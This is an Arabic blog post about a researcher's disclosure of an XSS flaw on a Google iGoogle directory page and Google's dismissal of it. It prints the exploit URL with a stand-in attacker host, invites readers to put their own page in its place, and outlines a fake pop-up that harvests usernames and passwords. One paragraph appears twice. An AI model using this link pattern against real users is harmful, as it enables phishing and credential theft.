قام أحد الباحثين الأمنيين المسمى Mohit Kumar بإكتشاف ثغرة XSS في أحد الدومينات التابعة ل Google , الطريف في الأمر أن الباحث الأمني إكتشف الثغرة مند شهرين و قد قام بمراسلة Google بخصوص
الثغرة إلا أن الفريق الأمني الخاصة بالشركة أجاب الباحث الأمني بأن الثغرة ليست خطيرة (أي من وجهة نظر Google ليست سارقة للكوكيز الخاص بالمستخدمين لأنها تستهدف موقع لا علاقة له بخدمات Google كGmail و Google+ ..... , يعني أن المكتشف لن يأخد مقابل مادي !! للأسف) , الطريف في الأمر مرة أخرى أن الباحث الأمني قام بعد مرور مدة زمنية (قرابة الشهرين) بتفقد الموقع ما إدا كانت الثغرة ماتزال فيه , فينصدم بأن الثغرة لاتزال موجودة في الموقع ماجعله يقوم الإعلان عنها تنفيسا لغضبه من الشركة (Google) وعرض طريقة إستغلال الثغرة وهي كالتالي :
http://www.google.com/ig/directory?url=websiteofAttacker.com/file.xml
يمكن تغيير websiteofAttacker.com/file.xml بصفحتك الخاصة كما ترون فرابط الصفحة الإصطيادية يبتدء بgoogle وحسب إستغلال الباحث فبمجرد الدخول إلى الرابط تجد رسالة Pop-Up تخبرك أن الكوكيز الخاص بك قد تم مسحه (فكرة دكية) و يجب عليك إعادة التسجيل بمجرد أن تضغط على الرسالة و قيامك بإدخال كلمة السر و إسم المستخدم يتم إرسالها إلى صفحة TXT قام المهاجم بإعدادها لإحتواء كلمة السر و إسم المستخدم . فيما ردت Google على الباحث الأمني بسرعة (بعكس المرة السابقة , ربما لخوفها على سمعتها ؟) بقولها أن الثغرة لا تستهدف الدومينات الرئيسية ولا يمكن الإصطياد بها فيما يرد الباحث الأمني قائلا " ألا يمكن لGoogle أن ترى في المتصفح أن الرابط يبتدأبGoogle.com ماسيجعل الضحية يعتقد أن الرسالة حقا من Google" في رأيي أن الباحث الأمني محق مئة بالمئة و أن ما يجعل الفريق الأمني الخاص بGoogle يعاند هو غروره فمادا سوف يخسر إدا قام بإغلاق ثغرة خطيرة كهده.
يمكن تغيير websiteofAttacker.com/file.xml بصفحتك الخاصة كما ترون فرابط الصفحة الإصطيادية يبتدء بgoogle وحسب إستغلال الباحث فبمجرد الدخول إلى الرابط تجد رسالة Pop-Up تخبرك أن الكوكيز الخاص بك قد تم مسحه (فكرة دكية) و يجب عليك إعادة التسجيل بمجرد أن تضغط على الرسالة و قيامك بإدخال كلمة السر و إسم المستخدم يتم إرسالها إلى صفحة TXT قام المهاجم بإعدادها لإحتواء كلمة السر و إسم المستخدم . فيما ردت Google على الباحث الأمني بسرعة (بعكس المرة السابقة , ربما لخوفها على سمعتها ؟) بقولها أن الثغرة لا تستهدف الدومينات الرئيسية ولا يمكن الإصطياد بها فيما يرد الباحث الأمني قائلا " ألا يمكن لGoogle أن ترى في المتصفح أن الرابط يبتدأبGoogle.com ماسيجعل الضحية يعتقد أن الرسالة حقا من Google" في رأيي أن الباحث الأمني محق مئة بالمئة و أن ما يجعل الفريق الأمني الخاص بGoogle يعاند هو غروره فمادا سوف يخسر إدا قام بإغلاق ثغرة خطيرة كهده.
شارك هذه الصفحة :
|
0 التعليقات:
إرسال تعليق